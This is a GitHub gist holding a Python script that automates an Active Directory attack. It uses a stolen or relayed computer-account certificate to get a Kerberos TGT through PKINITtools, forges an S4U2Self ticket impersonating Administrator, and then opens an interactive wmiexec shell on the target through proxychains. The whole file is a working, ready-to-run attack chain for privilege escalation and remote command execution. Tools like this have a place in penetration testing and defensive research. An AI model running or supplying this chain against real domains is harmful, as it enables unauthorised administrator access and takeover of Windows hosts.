Last active
December 8, 2024 21:33
-
-
Save Flangvik/3c02bae70e6d34d542783d07c8cbe584 to your computer and use it in GitHub Desktop.
S4USelf_ZeroToHero.py
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys | |
import os | |
import argparse | |
import getpass | |
import logging | |
import subprocess | |
import shlex | |
import base64 | |
# Needs to PKINITtools have by @_dirkjan installed / be ran in the same directory | |
# https://github.com/dirkjanm/PKINITtools | |
# Based on blog: https://dirkjanm.io/ntlm-relaying-to-ad-certificate-services/ | |
logging.basicConfig(stream=sys.stdout, level=logging.INFO) | |
logger = logging.getLogger('[+] ') | |
def run_command(command): | |
process = subprocess.Popen(shlex.split(command), stdout=subprocess.PIPE) | |
while True: | |
output = process.stdout.readline().decode() | |
if output == '' and process.poll() is not None: | |
break | |
if output: | |
print(output.strip()) | |
rc = process.poll() | |
return rc | |
def is_base64(s): | |
try: | |
base64.b64decode(s) | |
return True | |
except Exception: | |
return False | |
if __name__ == '__main__': | |
parser = argparse.ArgumentParser(description="Uses a certificate to gain interactive access using wmiexec") | |
parser.add_argument('--domain', dest='domain', type=str, help='Full Domain Name', required=True) | |
parser.add_argument('--account', dest='account', type=str, help='Target computer account (Without $)', required=True) | |
parser.add_argument('--dc-ip', dest='dc', type=str, help='Domain Controller IP', required=True) | |
parser.add_argument('--cert', dest='cert', type=str, help='Base64 encoded pfx certificate or path to .pfx file', required=True) | |
parser.add_argument('--pfx-pass', dest='pfx_pass', type=str, help='Password for PFX file (if using PFX file)') | |
parser.add_argument('--impersonate', dest='impersonate', type=str, default='Administrator', | |
help='Account to impersonate (default: Administrator)') | |
args = parser.parse_args() | |
logger.info('--------------') | |
logger.info(f'Target account: {args.account}') | |
logger.info(f'Impersonating: {args.impersonate}') | |
# Determine if cert is base64 or file path | |
if os.path.isfile(args.cert) and args.cert.lower().endswith('.pfx'): | |
if not args.pfx_pass: | |
parser.error("--pfx-pass is required when using a PFX file") | |
# Use PFX file directly | |
tgt_command = f"proxychains4 python3 gettgtpkinit.py -cert-pfx {args.cert} -pfx-pass {args.pfx_pass} {args.domain}/{args.account}$ {args.account}_tgt.ccache" | |
elif is_base64(args.cert): | |
# Use base64 encoded cert | |
tgt_command = f"proxychains4 python3 gettgtpkinit.py {args.domain}/{args.account}$ -pfx-base64 {args.cert} -dc-ip {args.dc} {args.account}_tgt.ccache" | |
else: | |
parser.error("--cert must be either a valid base64 encoded certificate or path to a .pfx file") | |
# Run commands | |
run_command(tgt_command) | |
os.environ['KRB5CCNAME'] = f'{args.account}_tgt.ccache' | |
run_command(f"proxychains4 python3 gets4uticket.py kerberos+ccache://{args.domain}\\\\{args.account}\$:{args.account}_tgt.ccache@{args.dc} host/{args.account}.{args.domain}@{args.domain} {args.impersonate}@{args.domain} host_{args.account}.ccache -v".format(args.domain,args.account,args.dc)) | |
os.environ['KRB5CCNAME'] = f"host_{args.account}.ccache" | |
wmiexec_command = f"proxychains4 wmiexec.py -k -no-pass -debug -dc-ip {args.dc} '{args.domain}/{args.impersonate}@{args.account}.{args.domain}'" | |
logger.info(f'Executing: {wmiexec_command}') | |
run_command(wmiexec_command) | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment